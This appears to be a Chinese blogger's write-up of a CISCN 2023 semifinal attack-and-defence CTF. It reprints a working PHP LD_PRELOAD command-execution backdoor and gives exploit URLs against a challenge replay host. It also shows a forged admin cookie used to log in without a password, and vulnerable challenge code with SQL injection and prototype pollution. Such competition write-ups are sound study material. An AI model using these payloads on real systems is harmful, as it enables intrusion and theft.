前言
可惜,这一次还是没能赢下所有😔😔😔,只打了二十多名,连二等奖都没有,不知道我还有没有下一届国赛了。
赛制
说实话这个赛制还是比之前想象的好一点的,虽然是线下断网的,但每个题都会给你源码,相当于白盒。首先,主办方会给你一个ftp让你连到服务器上,你可以传一个update.tar.gz,里面应当包含一个文件,还有一个update.sh,然后这个update.sh里面就是你要执行的命令,这里的修复主要讲的就是你用修改了的文件替换原有题目的文件,然后update.sh的内容比如就是:
#!/bin/bash
cp index.php /var/www/html/index.php
路径啥的主办方是会给你的,打包命令就是:
tar zcvf update.tar.gz update.sh file1 file2
然后你上传上去后,你可以选择某个题目,然后申请防御,他会让你填你上传那个patch包的名字,比如update.tar.gz,然后主办方会自动解包然后运行你的update.sh,等待大概三十秒看主办方的exp是否利用成功,你是否成功防御。我之前担心过有些服务比如go呀、java啊、js啊,不但要替换文件,还要kill然后重启服务,这次比赛主办方是自动帮你重启的,所以你要做的就只用修改文件,写一个替换文件的update.sh,打包,上传即可,这一点还是蛮好的。
然后我们当时每道题目有15次申请防御的机会,10次恢复题目环境的机会,每一轮是20分钟,无论防守成功还是攻击成功每一轮都可以加分,每个题满分是500分,如果一轮没队做出来会逐渐加分,做出来的队多了的话也是ctf那种累减模式,相当于主办方帮你跑脚本的awd了,还是比awd舒服一点的,然后攻击的话他是你们团队页面有个提交flag的地方,你某个题打通了拿到flag提交过去就行了。
说实话,打awdp防守还是比攻击重要多了,这次比赛好多题都是零解,没队伍攻击成功防守成功的队多,然后就是要拼手速,毕竟手速快多得一轮分,而且题目解少的话分高,几轮打完后面的队就很难追上去了。这次很多题都是多解题,你要修复多个漏洞才能修复成功,这一点还是比较恶心的。
这次比赛给我最大的教训就是不要怕删功能,后面听了冠军队的分享,其实大伙的修复思路都差不多,就是删功能就行了,啥功能危险就给他注释了,越低能越好,千万不要想难了,你也不要怕会不会服务异常,服务异常是要二十分钟结束一轮完了才会扣分,你大不了重置靶机就行了,反正申请防御的次数和重置靶机的次数本来就差不多,根本不用担心扣分,二十分钟怎么都来得及。可惜之前博客写的很多waf都没用上,这次更多时候都是随机应变,找漏洞点然后注释。
do_you_like_read
一个低能php题,纯纯签到,被我一下秒了。
break(>40队解出)
一扫就出了个后门:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
本来还以为要劫持LD_PRELOAD啥的,心里还窃喜之前做了好多劫持题,结果第一轮完了发现自己当时打ctfshow那个笔记没保存到本地,但第一轮完了我发现那个下载的源码里本来就有so文件,所以你就按照那个给的示例:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
就可以直接执行命令了,然后ls /一下发现根目录有一个flag,但没权限读,然后看到有个readflag,运行这个就拿到flag了。
nss上有复现环境,不过他那个路径在/app/下,然后flag在env里,注意一下即可
http://node4.anna.nssctf.cn:28716/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so
fix(>40队解出)
上面那个漏洞点当然是最明显的,注释了就行了,然后这个题还有其他漏洞点,首先是一个文件上传:
这里是个黑名单,只对php,phtml,php5,php3后缀的文件做了替换,把后缀换成了jpg,然后就不管其他文件了,怎么看都有问题,把这里改成白名单就行了。然后还有个地方:
这里ship是可控的,可能有变量覆盖的漏洞,但我当时也没想到到底咋利用,但注释了之后申请防御就过了,之前只改那个后门和文件上传没防御成功,所以可能这里确实有点什么漏洞啥的,后面也没细看了。
pollute
一个原型链污染的题。
break(0解)
虽然一眼原型链污染,但真没找到啥漏洞点rce
#app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var session = require('express-session');
var randomize = require('randomatic');
var logger = require('morgan');
var sqlite3 = require("sqlite3")
var utils = require('./utils');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'twig');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
// init database
const db = new sqlite3.Database('database.db', (error) => {
if (error) {
console.error('Database connection failed:', error);
} else {
console.log('Connected to the SQLite database.');
}
});
// start session
app.use(session({
name: 'thejs.session',
secret: randomize('GAME', 16),
resave: true,
saveUninitialized: true
}))
app.get('/', utils.checkSignIn, function(req, res, next) {
return res.redirect('/home');
});
app.all('/login',function(req,res,next){
if(req.method == "GET"){
return res.render('login', { title: 'Login' });
}
if(req.method == "POST"){
var username = req.body.username;
var password = req.body.password;
password = utils.md5(password)
db.all("SELECT * FROM users WHERE username=? AND password=?",[username,password],function(err,result){
if(err){
console.error(err);
return res.send("<script>alert('Error!');window.location.href='/register'</script>");
}else{
if(result.length === 0){
return res.end("<script>alert('username or password wrong!');window.location.href='/'</script>");
}
result = result[0]
if(result.username == username && result.password == password){
req.session.username = result.username;
return res.end("<script>alert('Login success!');window.location.href='/'</script>");
}
}
})
}
})
app.all('/register', function(req, res, next) {
if(req.method == 'GET') {
return res.render('register', { title: 'register' });
}
if(req.method == "POST") {
var username = req.body.username;
var password = req.body.password;
if (username !== undefined && password !== undefined) {
db.get("SELECT * FROM users WHERE username=?", [username], function(err, row) {
if(err){
console.error(err)
return res.send("<script>alert('Error!');window.location.href='/register'</script>");
}else{
if (row && row.username !== undefined){
return res.send("<script>alert('User already exists.');window.location.href='/register'</script>");
}else{
let query = `INSERT INTO users (username, password) VALUES ('${username}', '${utils.md5(password)}')`;
db.run(query,function(err){
if(err){
console.error(err)
return res.send("<script>alert('Error!');window.location.href='/register'</script>");
}else{
return res.send("<script>alert('Register successed');window.location.href='/login'</script>");
}
})
}
}
});
}
}
});
app.all("/home",utils.checkSignIn,function(req,res,next){
return res.render('home',{'username':req.session.username})
})
app.all("/admin",utils.checkIsAdmin,function(req,res,next){
if(req.method == "GET"){
return res.render('home',{'username':req.session.username})
}
if(req.method == "POST"){
var Info ={
"username":"admin",
"message":"Try2HackMe!"
}
try{
utils.extend(Info, req.body);
return res.render('admin', {"username": Info.username, "message": Info.message});
}catch(err){
return res.send("<script>alert('Error!');window.location.href='/admin'</script>");
}
}
})
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
var server = app.listen(80, function () {
var host = server.address().address
var port = server.address().port
console.log("http://%s:%s", host, port)
});
#utils.js
var crypto = require('crypto');
class Utils {
static checkSignIn(req, res, next) {
if (req.session.username === undefined || req.session.username === null) {
return res.redirect('/login')
}
next();
};
static checkIsAdmin(req, res, next){
if (req.session.username !== "admin"){
return res.send("<script>alert('You are not Admin!');window.location.href='/home'</script>");
}
next();
}
static filter(str){
if(/union|and|&|\|| |,|regexp|limit|sleep|lpad|rpad|if|ascii|order|substr|\'|>|<|min|left|like|=|\^|update/.test(str)) {
return false;
}
};
static md5(str) {
var md5sum = crypto.createHash('md5');
md5sum.update(str);
str = md5sum.digest('hex');
return str;
};
static extend(target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) {
if (key === '__proto__') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
Utils.extend(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
}
return target
}
}
module.exports = Utils;
后面主办方提示register那里有注入,但还是没队做出来
赛后我偶像FFreestanding做出来了,可以看看他的文章:pollute-wp
fix(<20队解出)
这个修复思路就比较传奇了,看冠军队分享,他们是直接把utils.js那里
for (var key in source) {
if (key === '__proto__') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
Utils.extend(target[key], source[key])
} else {
target[key] = source[key]
}
}
直接把这里删了。我们下载源码的时候是有数据库的,里面有密码的md5后的密文的,爆了一下发现是123456,我当时想到估计怎么都要登录admin之后才能原型链污染,然后直接写了一个检测,如果发现传入的password里有123456就终止服务,然后就防御成功了🤣🤣🤣🤣当时应该是前五个修复成功的队之一,450分吃了几轮,直到最后这个题也有350分,估计其他队很难想到这种低能的修复思路。
dataapi
蓝天采集器最新版,本地文库里发现v2.3.1有漏洞,但得登进去才行,我们是没有密码的。
break(<3队解出)
看源码的时候能感觉出来后台有很多漏洞,无论是数据采集那里还是插件那里,都能直接和php代码交互,虽然我们有数据库,但里面只有加密过的密文,而他这个加密过程还是蛮复杂的:
/*密码加密*/
public static function pwd_encrypt($pwd,$salt=''){
$pwd=sha1($pwd);
if(!empty($salt)){
$pwd.=$salt;
}
return md5($pwd);
}
INSERT INTO `api_user` (`uid`, `username`, `password`, `salt`, `groupid`, `email`, `regtime`) VALUES (5, 'admin', '17284aac3da236075c9b01827f60929b', 'pw3WuReAoklFmGjVIdNh', 1, 'admin@admin.com', 1683706207);
我们后面把8位数字爆完了,啥字典都爆了,五位数字加字母也试了,还是没爆破出来,当时本来还想用之前那个思路ban密码修题的,结果发现了ban了之后exp还是能打,所以猜测可能用固定的cookie或者session打的,但确实没想到那个cookie那么低能,唉,后面听了冠军队的分享,这个密码不用爆破,cookie是直接用admin还有加密后的密码随便拼接一下然后构造成的,直接伪造cookie就行了,进了后台用插件rce就行了。
首先看到这里,这儿有个自动登录的逻辑,我们可以控制login_history这个cookie,解析的格式是uid|key
我们再来看到key的生成逻辑:
其实就是直接把数据库存的username和password用:拼接起来,然后md5一下,注意这里是数据库里存的,所以password就是密文,不用暴力破解我们也能成功伪造cookie进入后台。
nss上那个复现环境也是一样的(uid啥的那个数据库里都有,uid是五,然后右边是md5(admin:17284aac3da236075c9b01827f60929b))
login_history=5|c7fef4090adc90785d4c6e5b30ed9de4
在用户那里可以修改密码,修改完之后我们可以发布插件:
相当于我们可以直接编辑/app/plugin/func/process/ShellShell.php的源码,理论上这样就能做了,但是nss这个环境plugin目录没法访问。。。那就不知道有没有其他做法了,另一种上传插件的方法最后的上传路径也是plugin目录下,感觉这个环境复现不出来。
fix(<10队解出)
后台漏洞点太多了,修了好久也没成功,15次机会都完了还是没做出来,唉。
问了下D1no的老哥,他们fix的方法是直接上的watchbird,sh脚本里写这玩意的部署命令就可以了,也就是先把源码了cp,然后加上部署的几个命令写进sh里。
seaclouds
一个java反序列化的题
break(0解)
给了提示是kryo反序列化,还是不会,反正大伙都不会
赛后M1sery做出来了,可以看看他的文章:CISCN2023西南赛区半决赛 seaclouds
fix(<10队解出)
主进程是:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.sea;
import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class MessageController {
public MessageController() {
}
@ResponseBody
@RequestMapping({"/"})
public Object message(String message) throws Exception {
byte[] decodemsg;
if (message == null) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
} else {
try {
decodemsg = Base64.getDecoder().decode(message);
} catch (Exception var5) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
}
}
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();
}
}
public Object message(String message) throws Exception {
byte[] decodemsg;
if (message == null) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
} else {
try {
decodemsg = Base64.getDecoder().decode(message);
} catch (Exception var5) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
}
}
// fix
String sea = new String(decodemsg);
if(!sea.contains("com.sea.")){
return "filtered";
}
// fix
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();
}
也就是接受一个base64后的数据然后解码反序列化,修复你就写个函数先base64解一下,如果发现里面有个com.啥啥啥那个恶意类就exit即可。
后记
第一步,沉淀;第二步,那场awdp毁了我的国赛梦;第三步,su的队友,我想你们了😭😭😭
web题目链接:https://pan.baidu.com/s/1kLfFcWSKWP3RXy5vcvlrdA?pwd=1111
提取码:1111
pwn题目链接(来自当时唯一ak+patch所有pwn题的战神lotus,包括patch脚本和exp):
链接:https://pan.baidu.com/s/1UsJ7nX8X_vyDn3d2f-1RpQ?pwd=kmip
提取码:kmip
希望我们赛区的国赛也是一样情况